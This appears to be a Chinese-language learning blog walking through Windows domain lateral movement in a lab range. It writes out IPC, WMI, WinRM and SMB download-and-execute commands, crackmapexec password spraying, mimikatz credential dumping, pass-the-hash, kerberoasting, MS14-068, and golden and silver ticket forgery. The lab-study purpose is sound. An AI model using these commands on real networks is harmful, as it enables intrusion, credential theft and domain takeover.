横向移动
横向移动
VVkladg0r横向移动
IPC
横向移动之前
靶场学习
拓扑图
信息收集
cs上线webserver
先看下他是不是内网用户
shell net user /domain
是
且域内用户:
Administrator boss dbadmin |
且 域控:
OWA2010CN-God.god.org
ping命令确定域控
shell ping OWA2010CN-God.god.org
域控ip:
192.168.3.21
cs端口扫描一下
192.168.3.30不知道为什么没有扫出来
问题不大
提权
cs简单提下权
因为这里重点是学习横向移动 所以提权就简单一点
总之就是要拿到system权限
提权成功
因为是本地靶场 就不权限维持了
凭证抓取
为了更好的在域内进行横向渗透
我们需要抓取凭证
这里使用cs抓
用system的权限抓
抓取hash和抓取明文密码都可以
他们调用的都是猕猴桃工具–mimikatz
抓到
把hash也抓了
不管是抓到明文密码还是hash都是可以进行传递的
IPC横向移动
做好了前面的一系列前置操作后
我们就可以对域控进行攻击了
这里我们用到的是IPC横向移动
IPC(Inter-Process Communication)协议是指用于不同进程之间进行通信和数据交换的协议。在操作系统中,进程是指正在运行的程序的实例。进程可以是同一应用程序的不同实例,也可以是不同应用程序之间的独立实例。进程之间的通信是实现多任务、协作和数据交换的关键。
IPC协议提供了一套规范和机制,使不同进程能够安全、可靠地进行通信。它允许进程之间共享数据、传递消息、进行同步操作等。常见的IPC协议包括以下几种:
管道(Pipe):管道是一种半双工的通信机制,可用于在父子进程或者兄弟进程之间进行通信。在Unix和Linux系统中,管道可以通过创建一个管道文件描述符来实现进程间通信。
命名管道(Named Pipe):命名管道是一种有名的管道,它允许无亲缘关系的进程进行通信。命名管道在文件系统中有一个唯一的名字,进程可以通过该名字打开和使用管道进行通信。
消息队列(Message Queue):消息队列是一种按照消息进行通信的机制。进程可以将消息发送到消息队列中,其他进程可以从队列中接收和处理消息。消息队列通常具有先进先出的特性,并提供了一种异步通信的方式。
共享内存(Shared Memory):共享内存允许不同进程访问同一块内存区域,从而实现高效的数据共享。多个进程可以将共享内存映射到各自的地址空间中,以便直接读写共享数据,避免了数据复制和传输的开销。
套接字(Socket):套接字是一种网络编程中常用的IPC机制,它允许不同主机上的进程进行网络通信。套接字提供了一种可靠的、面向连接的通信方式,可以通过TCP或UDP协议在网络中传输数据。
信号量(Semaphore):信号量是一种用于同步进程的机制,它可以用来保护共享资源,控制进程的访问顺序,以及实现进程间的互斥和同步操作。
总之我们可以通过IPC 对目标发起一个管道链接 我们可以通过这个管道链接对目标进行一些操作
使用流程
- 建立IPC连接到目标
- 拷贝要执行的木马到目标主机
- 执行木马(计划任务)
- 删除IPC
建立IPC连接到目标
at计划任务打DC
net use \\192.168.3.21\ipc$ "Admin12345" /user:god.org\administrator # 建立ipc连接 这里的用户密码都是webserver的 |
schtasks计划任务打DC
net use \\192.168.3.32\ipc$ "Admin12345" /user:god.org\administrator # 建立ipc连接: |
建立IPC连接
shell net use \\192.168.3.21\ipc$ "Admin12345" /user:god.org\administrator
看下连没连上
shell net use
好
但是现在我们是不能直接用木马让DC连接到kali
因为DC不出网
但是DC是可以和webserver正常通信的
所以我们要用webserver主机作为跳板 让DC连接它 再间接连接到我们的卡kali
新建一个正向监听
生成木马
注意这里要生成无状态可执行程序
区分:
无状态可执行程序–>unstager
可执行程序–>stager
stager:
首先生成的paylod为stager,是一个小程序,通常是手工优化的汇编指令,用于远程下载一个 payload stage,将其注入到当前被执行服务器内存,对其传达指令
靶机向cs服务器发送了一个下载请求,请求下载真正的payload
unstager:
unstage为部分阶段的payload,所有指令都集成到了里面
它生成一个叫beacon.exe,双击运行后我们并不会在Web日志中看到任何请求信息。因为unstage会将所有的利用代码一开始就集中到了beacon.exe
拷贝要执行的木马到目标主机
IPC连接拷贝
先把我们的beacon.exe弄到webshell主机上
然后用命令拷贝
copy beacon.exe \\192.168.3.21\c$
拷到C盘
当然 也可以加上路径
计划任务执行木马
正向连接上线
首先我们需要获取一下服务器的时间
shell net time
根据时间
我们添加一下计划任务
shell at \\192.168.3.21 20:42 c:\beacon.exe
等待计划任务执行
因为我们开的的正向连接的木马 所以我们要用webserver去绑定4444端口
connect 192.168.3.21 4444
直接上线
反向连接上线
当然因为webserver和DC是互通的
我们也可以用反向连接
webserver的system权限转发上线来建监听器
配置一下
生成木马并上传到webserver
IPC拷贝过去
shell copy fx.exe \\192.168.3.21\c$
计划任务执行一下
环境问题 这里我没有上线成功
但是是可以上线的
插件IPC移动
插件内置了IPC移动
拿下DC后就可以随便打了
这里我们打一下marry–>192.168.3.25
连接建立成功
IPC常见报错
(1)5:拒绝访问,可能是使用的用户不是管理员权限,需要先提升权限 |
套件-impacket-ipc
本身它需要有python环境才能执行
这里我们用魔改版
里面有很多exe程序
我们用第一个就行
先把文件传到webserver上去
使用命令
CS本地用户明文连接: |
shell atexec.exe ./administrator:Admin12345@192.168.3.21 "whoami"
这里的第二个.表示本地 如果是域的话要用域名
shell atexec.exe god/administrator:Admin12345@192.168.3.21 "whoami"
根据命令
我们抓到的hash也是可以传递执行命令的
shell atexec.exe -hashes :ccef208c6485269c20db2cad21734fe7 ./administrator@192.168.3.21 "whoami"
工具生成一下命令
随便找个cmd的命令
这个dc.exe是一个基于DC的反向连接的木马
将whoami换成我们生成的命令
成功
执行木马
上线
这也就是IPC通过web下载文件的形式来进行横向移动
但是他也有弊端
1.上传套件–套件比较大–容易被杀软识别
2.使用python脚本–可能目标没有python环境
解决:
socks代理
使用socket节点可实现无文件落地
在webserver与本地上建立socket节点 这样本地就会映射到webserver 那么就意味着我们无需将我们需要的文件放到域内 就可以使用
配置一下
proxifier连接
这里的ip是kali的ip
再建立一个CS新规则
任何只要是192.168.3的都会把流量转发到192.168.10.172代理服务器
这样本地就可以直接访问内网了
这样的话我们就可以直接在本地执行套件了
找到刚才那个exe的python脚本
python atexec.py god/administrator:Admin12345@192.168.3.32 "whoami" |
成功
python脚本批量执行下载木马并执行
import os,time |
WMI
WMI(Windows Management Instrumentation,Windows管理规范)是一项核心的windows管理技术。从Windows 98开始,windows操作系统都支持WMI。用户可以通过WMI管理本地和远程计算机。Windows为远程传输WMI数据提供了两个可用的协议,即分布式组件对象模型(Distributed Component Object Model)和windows远程管理(Windows Remote Management,WinRM),使得WMI对象的查询、事件注册、WMI类方法的执行和类的创建等都可以远程执行。
利用WMI进行横向移动需要具备以下条件:
- 1、远程主机的WMI服务为开启状态(默认开启)
- 2、远程主机防火墙放行135端口,这是WMI管理的默认端口
支持明文以及hash利用
不会再目标的系统日志留下痕迹
WMI命令是没有回显的
环境还是IPC的那个环境
具体渗透就不多说了
总之用CS上线system权限
DC:192.168.3.21
其他3网段都是域内主机
命令执行
因为WMI是windows主机自带的
所以我们不需要向目标上传任何额外文件
可以直接执行命令
查进程
wmic /node:192.168.52.138 /user:god\liukaifeng01 /password:hongrisec@2024. process list brief
下载木马
wmic /node:192.168.3.32 /user:administrator /password:Admin12345 process call create "cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/beacon.exe c:/beacon.exe"
执行木马
wmic /node:192.168.3.32 /user:administrator /password:Admin12345 process call create "cmd.exe c:/beacon.exe"
CS上线
解决WMI无回显:
可以将执行结果写入文件,然后建立IPC连接来远程读取
结果写入文件
wmic /node:192.168.52.138 /user:god\liukaifeng01 /password:hongrisec@2024. process call create "cmd.exe /c ipconfig > c:\result.txt"
建立IPC
net use \\192.168.52.138\ipc$ hongrisec@2024. /user:god\liukaifeng0
读文件
type \\192.168.52.138\c$\result.txt
或者将木马传输和执行一起执行 看上不上线
套件执行
我们在IPC用到impacket套件也是支持WMI的
wmiexec ./administrator:admin!@#45@192.168.3.32 "whoami" |
socks代理会更快点
这也是socks代理的优势
插件执行
cs本身是可以进行横向移动的
目标列表中
WMI也是被插件支持的
两个都差不多
脚本执行
脚本如下
命名成wmiexec.vbs
On Error Resume Next |
把脚本上传到目标服务器
cscript //nologo wmiexec.vbs /shell 192.168.3.21 administrator Admin12345
可以看到会生成一个交互式shell 且与3.21(DC)交互
有一个问题就是CS不支持交互式shell
所以这个脚本利用面比较窄
kali自带pth执行
工作组环境下(本地管理员):
pth-winexe -U administrator%Aatest --system --ostype=1 //192.168.3.90 cmd
域环境下(域管用户):
pth-winexe -U ggyao/administrator%Aatest --system --ostype=1 //192.168.3.90 cmd
SMB
SMB是文件共享服务 通过445端口进行的
可以直接用CS的端口扫描看下445端口开没开
同样 它也是支持hash和明文传递的
psexec
PsExec是微软官方提供的一个Windows远程控制工具,可以根据凭据在远程系统上执行管理操作,并且可以获得与命令行几乎相同的实时交互性
PsExec的原理是通过SMB连接到服务端的Admin$
共享,并释放名为”psexecsvc.exe”的二进制文件,然后注册名为”PSEXECSVC”服务。当客户端执行命令时,服务端通过PSEXECSVC服务启动相应的程序执行命令并回显数据。运行结束后,PSEXECSVC服务会被删除。
使用PSEXEC进行远程操作需要以下条件:
1、远程主机开启了Admin$
共享
2、远程主机未开启防火墙或放行了445端口
用微软自带工具 可以绕过免杀
PStools
直接到微软官网上去下就行
因为它也是shell的形式
用CS不太行
所以我们用socks节点打过去
psexec64 \\192.168.3.32 -u administrator -p admin!@#45 -s cmd
impacket套件
psexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32
psexec -hashes :ccef208c6485269c20db2cad21734fe7 god/administrator@192.168.3.32
还是走socks代理比较好
我这里好像代理一直有点问题
一直拒绝访问
但是命令是没问题的
呃 又好了
SMBexec
同样是用impacket中的来
里面有一个SMBexec
smbexec ./administrator:admin!@#45@192.168.3.32
smbexec god/administrator:Admin12345@192.168.3.32
smbexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32
smbexec -hashes :518b98ad4178a53695dc997aa02d455c god/administrator@192.168.3.32
smbexec -hashes god/administrator:518b98ad4178a53695dc997aa02d455c@192.168.3.32
只要能执行命令,那么就可以通过下载执行木马的形式执行对应的木马
密码喷洒
尝试使用已经获取的hash已经明文密码,对于域内所有主机进行相应的登录尝试 这就是密码喷洒
工具:
下载命令
apt-get install crackmapexec
linux代理
需要下载proxychain
apt install proxychains
好 然后我们需要配置一下
proxychains ping www.baidu.com
找到配置文件地址
/etc/proxychains.conf
编辑
vi /etc/proxychains.conf
这里是127.0.0.1是因为我们CS服务端在本地
而win下的配置是我kali的IP
我们把它的端口改成CS的socks代理的端口
然后就可以来下载crackmapexec
crackmapexec -h
工具使用
密码喷洒域登录
crackmapexec smb 192.168.3.21-32 -u administrator -p 'admin!@#45'
但是我们不能直接在kali上用
因为kali和域内主机不在同网段连不上
所以我们必须用socks代理
proxychains crackmapexec smb 192.168.3.21-32 -u administrator -p 'admin!@#45'
这样就行
登不上去
本地登录
proxychains crackmapexec smb 192.168.3.21-32 -u administrator -p 'admin!@#45' --local-auth
多了一个–local-auth
登录成功会有这个绿色的+
本地登录执行命令
proxychains crackmapexec smb 192.168.3.21-32 -u administrator -p 'admin!@#45' -x 'whoami' --local-auth
多了一个-x 'whoami'
他会在最后把所以能执行命令的主机的执行结果汇总
本地登录命令执行上线
proxychains crackmapexec smb 192.168.3.21-32 -u administrator -p 'admin!@#45' -x 'certutil -urlcache -split -f http://192.168.3.31/xxx.exe & c:/4455.exe' --local-auth
就是把whoami改成一个下载命令再执行
也可进行爆破
就是把-u 和-p后面跟上字典就像
密码喷洒域登录命令执行上线
proxychains crackmapexec smb 192.168.3.21-32 -u administrator -p 'admin!@#45' -x 'cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/4455.exe c:/4455.exe & c:/4455.exe'
少了一个–local-auth
密码喷洒本地&域登录命令执行全自动上线:
域
proxychains crackmapexec smb 192.168.3.21-32 -u user.txt -p pass.txt -x 'cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/4455.exe c:/4455.exe & c:/4455.exe'
本地
proxychains crackmapexec smb 192.168.3.21-32 -u administrator -p pass.txt -x 'cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/4455.exe c:/4455.exe & c:/4455.exe' --local-auth
WinRM
WinRM(Windows Remote Management)是 Microsoft 对 WS-Management 协议的实现,WS-Management 协议即一种基于标准简单对象访问协议(soap)的防火墙友好协议,它让来自不同供应商的硬件和操作系统能够相互操作。windows 众多可以远程执行命令方式中的一种。
作为DCOM和WMI远程管理的替代方法,WinRM用于通过WSMan与远程计算机建立会话,WSMan利用HTTP/S作为传输机制来传递XML格式的消息。在现代Windows系统中,WinRM HTTP通过TCP端口5985进行通信,而HTTPS(TLS)通过TCP端口5986进行通信。
WinRM: windows远程管理,是一种允许管理员远程执行系统管理任务的服务
2008 以上 默认是自动 Win7以上手动启动
win 2012 默认都是允许远程任意主机进行管理
查询本机的WinRM状态:
powershell Get-WmiObject -Class win32_service | Where-Object {$_.name -like "WinRM"} |
开启WinRM服务:
winrm quickconfig -q #自动添加防火墙例外规则,放行5985端口。 |
扫描一下5985端口
也就是DC、webserver、sqlserver三台主机开了5985端口
Windows远程管理工具提供了两个命令行工具用于远程管理
Winrs,允许远程执行命令的命令行工具,利用WS-Management协议
Winrm(Winrm.cmd),内置系统管理命令行工具,允许管理员配置本机的WinRM服务
Winrs
所以执行命令:
winrs -r:192.168.3.32 -u:192.168.3.32\administrator -p:admin!@#45 whoami |
咦 CS报错
排查了很久
感觉可能是shell的问题
但是在主机内是可以执行的
那我们用cmd就行
也就是cs转给msf
在msf里shell
然后运行cmd
在cmd里执行命令就行
既然可以执行任意命令 那么我们就可以让他远程下载木马并执行 这样就可以上线了
winrs -r:192.168.3.32 -u:192.168.3.32\administrator -p:admin!@#45 "cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/beacon.exe c:\beacon.exe & c:\beacon.exe" |
把生成的正向木马放到webserver的目录里
执行命令
sqlserver已下载beacon.exe并成功执行
上线了就简单了
因为是正向连接 所以我们要绑定一下端口
然后就会上线了
cs本身可以直接WinRM
Winrm
生成一个计算器
shell winrm invoke Create wmicimv2/win32_process @{CommandLine="calc.exe"} -r:192.168.30.10 -u:Administrator -p:uu2fu3o@admin |
当然也可以生成服务
#生成名为test的服务 |
远程调用该服务
winrm invoke StartService wmicimv2/Win32_Service?Name=test -r:http://192.168.30.10:5985 -u:Administrator -p:uu2fu3o@admin |
执行SMB匿名服务器中的后门文件
shell winrm invoke Create wmicimv2/Win32_Service @{Name="test2";DisplayName="test2";PathName="cmd.exe /k \\192.168.30.20\smb\Winrm.exe"} -r:http://192.168.30.10:5985 -u:Administrator -p:uu2fu3o@admin |
RDP
rdp就是远程桌面协议 默认监听端口为3389,通过已获得的凭据进行代理登录远程主机并进行实时操控
但是可能导致对方用户强行下线,易被发现
还是先看看开没开3389
RDP连接不仅支持明文,也支持hash连接
CS的桌面交换其实就是基于RDP的
window本身的mstsc也是一样的
这些都是明文连接
hash连接
要mimikatz抓下密码
mimikatz privilege::debug #要管理员权限 |
C2横向
C2, Command and Control, 命令与控制。主要是指攻击者通过与恶意软件的交互,对被害者进行控制,从而实施恶意活动的含义
下面这两个都是远程协助软件
gotohttp
gotohttp走的是https协议
目标网络情况:
1、能出网,没有限制 #能直接用
2、能出网、有限制(xx端口,不限制https就行)
3、不出网、有限制(不限制https就行)
优点:B2C模式–>不需要安装软件 有浏览器就行
走的是https协议,只要放行443端口就可以实现内网穿透
缺点:
必须要有网络,不限制https
网络唤醒远程主机的时候,安全卫士可能拦截
我们需要把文件放到目标主机上
方法很多 就不多说了
可以看到很小
运行程序
会生成控制码于ID
这个软件在开完后会在当前路径中生成一个配置文件路径
里面有我们需要的信息
直接通过它给的这个host连接
浏览器访问
连接
连上了
RustDesk
优点:无网络(不出网)情况下也可以用
把rustdesk传入目标电脑
因为这是一个远程协助的工具 所以会被杀软列入白名单
同样 他也会有配置文件
本地存放路径:
C:\Users\用户名\AppData\Roaming\RustDesk\config\RustDesk.toml |
配置文件
enc_id就是id
salt就是密码
如果是出网的情况下
我们就直接在本地开一个客户端进行远连就行
如果是不出网的话
我们只需要找一个能与他进行通信的主机就可以了
我们选哟更改一下配置文件
添加
direct-server = 'Y' |
我们直接用同网段的主机连ip就行
注意配置文件里的local-ip-addr要是真ip–>192.168.3.32
kerberos协议
简单学习
简单理解
当你在进行Hadoop安全访问时 就会用到kerberos协议
认证服务器在验证Client身份后会发一张票证(TGT)
Client将TGT交给票据授权服务器 通过后会通过TGT获取访问Server端的票据(ST)
这样就可以正常访问了
kerberoasting攻击
SPN扫描
SPN:服务主体名称 他是域内服务的唯一标识 每一个服务,都会有一个SPN ,服务在加入域的时候,也会自动注册一个SPN
mysql、http、rdp都会有对应的SPN
使用场景:我们在没有办法获取到域内其他主机的凭据信息(mimikatz抓不到)时,就可以采用kerberoasting
也就是 请求对应的服务,获取服务的凭据(抓SPN凭据),再将服务凭据导入本地进行破解
凭据加密类型rc4
SPN扫描:
setspn -T god.org -q */* #扫全部 |
工具检测:
Rubeus
Rubeus kerberoast |
把这个文件放到目标主机上
然后执行命令就行
这样我们就直接找到了凭据加密类型是rc4的SPN
先请求到票据
查看票据
klist |
但是现在这些票据都不是我们需要的
清除票据
klist purge |
mimikatz请求SPN
kerberos::ask /target:MSSQLSvc/Srv-DB-0day.0day.org:1433 |
好
退出
我们再看看票据
已经有新票证生成
第一个票证是AES加密的 我们用不了
第二个就是RC4加密的 可用
mimikatz导出票据
mimikatz kerberos::list /export |
它会把票证导到mimikatz的路径下
把我们需要的票证放到kerberaost的文件夹里
直接用它内置的脚本+凭证名
python tgsrepcrack.py 字典名 "凭证名" |
pass.txt是一个字典
PTH
前置
要学习PTH需要知道一些windows认证的相关只是
windows本地有个存密码的地方–>sum
这个里面存放着密码的hash
在windows里面 密码的hash称之为NTML hash
在NTML协议存在之前 他的前身叫LM协议
两个的差别在于加密方式不同
LM协议更容易被破解
NTML协议是一种网络认证协议 它是基于挑战/相应认证机制的一种认证模式 它只支持Windows
PTH
PTH:pass the hash(哈希传递)通过密码散列值(通常是NTLM Hash)来进行攻击
PTH是能够在不需要账户明文密码的情况下完成认证的一种技术
它解决了我们渗透中获取不到明文密码、破解不了NTML hash而又想扩大战果的问题
在域环境中,用户登录计算机时使用的账号,计算机会用相同的本地管理员账号和密码 两个账号密码类似因此,如果计算机的本地管理员账密是相同的,我们就可以使用哈希传递的方法登录到内网的其他主机
windows server 2012 R2 之前 LM或NTLM
windows server 2012 R2 之后 NTLM
mimikatz进行PTH攻击
需要交互式shell
mimikatz privilege::debug |
通信是在本地
但是我们有凭证 可以直接查看目标根目录
复制文件
impacket进行PTH攻击
套件可以在CS上执行
所以
- exe上传
- socks代理无文件落地
先建立socks代理
代理配置
psexec
使用套件的psexec.py
python psexec.py -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32 |
已进入
其他服务同理
smbexec
python smbexec.py -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32 |
wmiexec
python wmiexec.py -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32 |
crackMapExec-PTH
这是那个密码喷洒的工具
它同样可以进行pth攻击
密码喷洒,域用户登录pth
proxychains crackmapexec cme smb 192.168.3.21-32 -u user.txt -H 518b98ad4178a53695dc997aa02d455c #域用户HASH登录 |
PTK
PTK: pass the key 当系统安装了KB2871997补丁并且禁用NTLM的时候,虽然此时我们抓取到的ntlm hash 就失效了,但是可以通过PTK进行攻击
未找到相应环境
mimikatz sekurlsa::ekeys #获取key |
PTT
PASS THE TICKET
有三种攻击方式
- 漏洞-MS14068
- KEKEO
- mimikatz
MS14068
自己做一张票据
只需要普通用户权限就可以实施攻击
KDC服务(密钥分发中心)的漏洞
原理:它允许身份验证的用户在kerberos票证里面插入任意的PAC,用户可以通过呈现具有改变的PAC的kerberos TGT来获得票证
首先 我们需要admin的sid值
whoami/user |
这里的sid是:
S-1-5-21-1218902331-2157346161-1782232778-1132 |
我们可以基于这个sid值在本地生成一个票据文件
github上找一个ms14-068的poc
-u:用户和域名
-s:这个用户对应的sid值
-d:域控对应内网id
-p:用户对应密码
可以看到已经生成了一个TGT
查看一下当前票据
klist |
现在是没有的
好 先把我们本地生成的TGT传到我们已控制的主机上来 这里是webserver
但是现在的票据还只是在主机的文件夹里
我们通过mimikatz导入TGT
mimikatz kerberos::ptc TGT文件名 |
好 这样的话就注入成功了
klist看下票据
已经有了新票据
读一下域控c盘
dir \\OWA2010CN-GOD\c$ |
访问成功
清空票据:
klist purge |
但是DC域控如果打过对应的漏洞补丁,那这种方法就不行了
拿下域控就好说了
可以直接copy命令
copy shell.exe \\OWA2010CN-GOD\c$ |
过来了
KEKEO
要求:高权限
原理:因为当前主机在以前的时间内肯定会和其他主机产生过连接,所以本地应该就生成了一些票据,我们可以导出这些票据,然后再导入这些票据进行利用
缺点:票据是有有效期的,如果在有效期内连接过域控的话,就可以使用这些票据
首先我们先把kekeo这个工具传到我们控制的webserver上
导出票据:
kekeo "tgt::ask /user:Administrator /domain:god.org /ntlm:ccef208c6485269c20db2cad21734fe7" "exit" |
kekeo和mimikatz都会进入到工具里面 然后再输入命令 执行
所以这里我们直接加一个exit 让他执行完命令后退出
这个NTLM哈希就是这个administrator在GOD域内的hash
执行成功
可以看到在webserver的桌面上多了两个票据文件
导入这个administrator的票据
这里我们还是使用这个kekeo来
导入票据
kekeo "kerberos::ptt TGT_Administrator@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi" "exit" |
当然你用mimikatz也是一样的
可以看到 成功
klist也有票了
有票了
那么访问也是没有问题的了
只要我们抓到一张域控administator的票 那么域内所有主机都可以通过这个票访问到DC
mimikatz
mimikatz同样可以抓到历史票据
但是不知道票据是否过期(10h)
导出票据
mimikatz sekurlsa::tickets /export |
导入票据
mimikatz kerberos::ptt C:\Users\webadmin\Desktop\[0;3e4]-0-0-40a40000-WEBSERVER$@cifs-owa2010cn-god.god.org.kirbi |
其他的一样了
黄金票据
简介
实际上黄金票据和白银票据都是在权限维持里
黄金票据就是伪造krbtgt用户的TGT票据,krbtgt用户是域控中用来管理发放票据的用户,拥有了该用户的权限,就可以伪造系统中的任意用户
且黄金票据不会受到TGT生命周期的影响(默认10小时,最长续订一周)
利用条件
- 拿到域控 适合做权限维持
- 有krbtgt用户(这是一个域控用户)的hash值(aeshash ntmlhash等 后面要指定一下算法)
利用
先拿到我们需要的域内信息
域名
这个随便获取 就不多说了
域的SID值
whoami/user |
注意 这个SID最后面这个-500表示的是这个用户 所以域的SID值 要把-500去掉
whoami/all |
wmic useraccount get name,sid |
三种方法都可以
包括cs插件 都可以
域的KRBTGT账户hash
mimikatz直接抓密码
先开权限
mimikatz privilege::debug |
然后就可以抓hash了
mimikatz lsadump::lsa /patch |
找到
b097d7ed97495408e1537f706c357fc5
还可以指定查krbtgt用户
mimikatz lsadump::dcsync /domain:god.org /user:krbtgt |
伪造用户
我们可以伪造域内任意用户 除了krbtgt
看下域内用户
net user |
比如说 这里我们伪造一下webadmin
kerberos::golden /user:需要伪造的用户 /domain:域名 /sid:域sid /krbtgt:krbtgt用户的ntlm哈希 /ticket:生成的票据名称 |
好
我们生成票据是不需要高权限的
kerberos::golden /user:webadmin /domain:god.org /sid:S-1-5-21-1218902331-2157346161-1782232778 /krbtgt:b097d7ed97495408e1537f706c357fc5 /ticket:404.kirbi |
这个.kirbi是票据的默认后缀 加不加无所谓
生成成功
导入票据
用mimikatz导入票据即可
mimikatz kerberos::ptt 404.kirbi |
webadmin访问域控成功
cs本身也可以生成黄金票据
白银票据
简介
黄金票据是伪造TGT(门票发放票),而白银票据则是伪造ST(门票),这样的好处是门票不会经过KDC,从而更加隐蔽,但是伪造的门票只对部分服务起作用,如cifs(文件共享服务),mssql,winrm(windows远程管理),DNS等等
利用条件
- 拿下域控
利用
域名
同样的 就不多说了
域SID
whoami/user |
三个命令都可以
目标服务器FQDN
就是目标计算机的全名
net config workstation |
注意 计算机名是计算机名 计算机全名是计算机全名
可利用的服务
根据这个图来
比如说CIFS(磁盘共享服务)
这个一般都是开着的
抓服务账号hash
还是mimikatzs就行
开debug
mimikatz privilege::debug |
抓hash
mimikatz sekurlsa::logonpasswords |
我们需要的域内账户 名字是带有$的
需要的是指定机器的NTLM hash 通常情况下,本地机器的名后面会带有一个$
伪造用户
同样是伪造任意用户
这里我们还是伪造webadmin
kerberos::golden /domain:域名 /sid:域sid /target:目标计算机全名 /rc4:服务账号的NTML HASH /service:可利用的服务 /user:要伪造的用户 /ptt |
这里的/ptt就是生成了票据后自动导入
我们也可以用黄金票据那个 指定名字 生成在本地 再自己导入
但是白银票据是收到票据周期的影响的
mimikatz kerberos::golden /domain:god.org /sid:S-1-5-21-1218902331-2157346161-1782232778 /target:OWA2010CN-God.god.org /rc4:a3a8b24a2de322c7de77f7471e9e34d6 /service:cifs /user:webadmin /ptt |
可以看到票已经过来了
成功访问到域控
黄金票据与白银票据区别
获取的权限不同
- 黄金票据:是直接抓取域控中ktbtgt账号的hash,来在client端生成一个TGT票据,那么该票据是针对所有机器的所有服务。
- 白银票据:实际就是在抓取到了域控服务hash的情况下,在client端以一个普通域用户的身份生成TGS票据,并且是针对于某个机器上的某个服务的,生成的白银票据,只能访问指定的target机器中指定的服务。
认证流程不同
黄金:同KDC交互,但不同AS交互
白银:不同KDC交互,直接访问Sever
加密方式不同
黄金:由krbtgt NTLM HASH 加密
白银:由服务账号 NTLM HASH加密
域委派攻击
整个内网学下来 还是挺会的 但又不是那么会 而且肯定不会太符合红队的无感渗透 很多情况下都会用到工具 线程也太大了 而且这个横向移动没有权限提升和权限维持学的深刻 有些地方没有深入的学 就比如说kerberos协议啊这种 更多的偏向是使用工具怎么打
后续还会补充学习这边